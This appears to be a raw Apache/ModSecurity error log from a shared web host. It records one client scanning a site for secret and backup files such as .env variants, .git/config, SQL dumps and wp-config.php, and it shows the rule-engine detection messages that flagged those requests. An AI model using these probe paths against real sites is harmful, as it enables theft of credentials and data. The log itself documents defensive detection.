[Fri Jul 17 08:29:12.634238 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/.env.backup"] [unique_id "almagGidQp3SsqeycPEs6AAAAAo"]
[Fri Jul 17 08:29:12.634437 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/.env.backup"] [unique_id "almagGidQp3SsqeycPEs6AAAAAo"]
[Fri Jul 17 08:29:12.634712 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/.env.backup"] [unique_id "almagGidQp3SsqeycPEs6AAAAAo"]
[Fri Jul 17 08:29:12.639753 2026] [authz_core:error] [pid 1993671:tid 1993671] [client 54.144.124.143:0] AH01630: client denied by server configuration: /home/ahavafoundation/public_html/wp-config.php
[Fri Jul 17 08:29:12.650215 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.705464 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/.env.staging"] [unique_id "almagFh1WDijTxd1xw5JJAAAAAc"]
[Fri Jul 17 08:29:12.705776 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/.env.staging"] [unique_id "almagFh1WDijTxd1xw5JJAAAAAc"]
[Fri Jul 17 08:29:12.705977 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.706143 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagFh1WDijTxd1xw5JJAAAAAc"]
[Fri Jul 17 08:29:12.724142 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.739679 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/.git/config"] [unique_id "almagIZvbo7N5o5zeYC7DgAAABw"]
[Fri Jul 17 08:29:12.739969 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/.git/config"] [unique_id "almagIZvbo7N5o5zeYC7DgAAABw"]
[Fri Jul 17 08:29:12.740200 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.740381 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagIZvbo7N5o5zeYC7DgAAABw"]
[Fri Jul 17 08:29:12.756513 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.757775 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.762970 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/.env.dev"] [unique_id "almagIZvbo7N5o5zeYC7EAAAABw"]
[Fri Jul 17 08:29:12.763242 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/.env.dev"] [unique_id "almagIZvbo7N5o5zeYC7EAAAABw"]
[Fri Jul 17 08:29:12.763392 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.763517 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagIZvbo7N5o5zeYC7EAAAABw"]
[Fri Jul 17 08:29:12.772713 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/db.sql"] [unique_id "almagIZvbo7N5o5zeYC7EQAAABw"]
[Fri Jul 17 08:29:12.773082 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/db.sql"] [unique_id "almagIZvbo7N5o5zeYC7EQAAABw"]
[Fri Jul 17 08:29:12.773284 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.773417 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagIZvbo7N5o5zeYC7EQAAABw"]
[Fri Jul 17 08:29:12.809009 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/database.sql"] [unique_id "almagFh1WDijTxd1xw5JKAAAAAc"]
[Fri Jul 17 08:29:12.809536 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/database.sql"] [unique_id "almagFh1WDijTxd1xw5JKAAAAAc"]
[Fri Jul 17 08:29:12.810010 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.810797 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagFh1WDijTxd1xw5JKAAAAAc"]
[Fri Jul 17 08:29:12.813476 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.815122 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/app/config/parameters.yml"] [unique_id "almagFh1WDijTxd1xw5JKQAAAAc"]
[Fri Jul 17 08:29:12.815477 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/app/config/parameters.yml"] [unique_id "almagFh1WDijTxd1xw5JKQAAAAc"]
[Fri Jul 17 08:29:12.815750 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:12.816580 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagFh1WDijTxd1xw5JKQAAAAc"]
[Fri Jul 17 08:29:12.825106 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:13.886383 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagAG5-NXx3Mem1QgOLQAAAA8"]
[Fri Jul 17 08:29:14.537349 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:14.895555 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:45990] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:15.261722 2026] [core:error] [pid 2014286:tid 2014286] (13)Permission denied: [client 47.128.48.159:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty5/subsystem/tty57/subsystem/ttyS3/flags
[Fri Jul 17 08:29:15.353772 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagEz_ZDvgWqiMlMbLggAAAB0"]
[Fri Jul 17 08:29:16.560230 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/backup.sql"] [unique_id "almahFh1WDijTxd1xw5JNAAAAAc"]
[Fri Jul 17 08:29:16.560786 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/backup.sql"] [unique_id "almahFh1WDijTxd1xw5JNAAAAAc"]
[Fri Jul 17 08:29:16.565673 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/data.sql"] [unique_id "almahAG5-NXx3Mem1QgOMAAAAA8"]
[Fri Jul 17 08:29:16.566036 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/data.sql"] [unique_id "almahAG5-NXx3Mem1QgOMAAAAA8"]
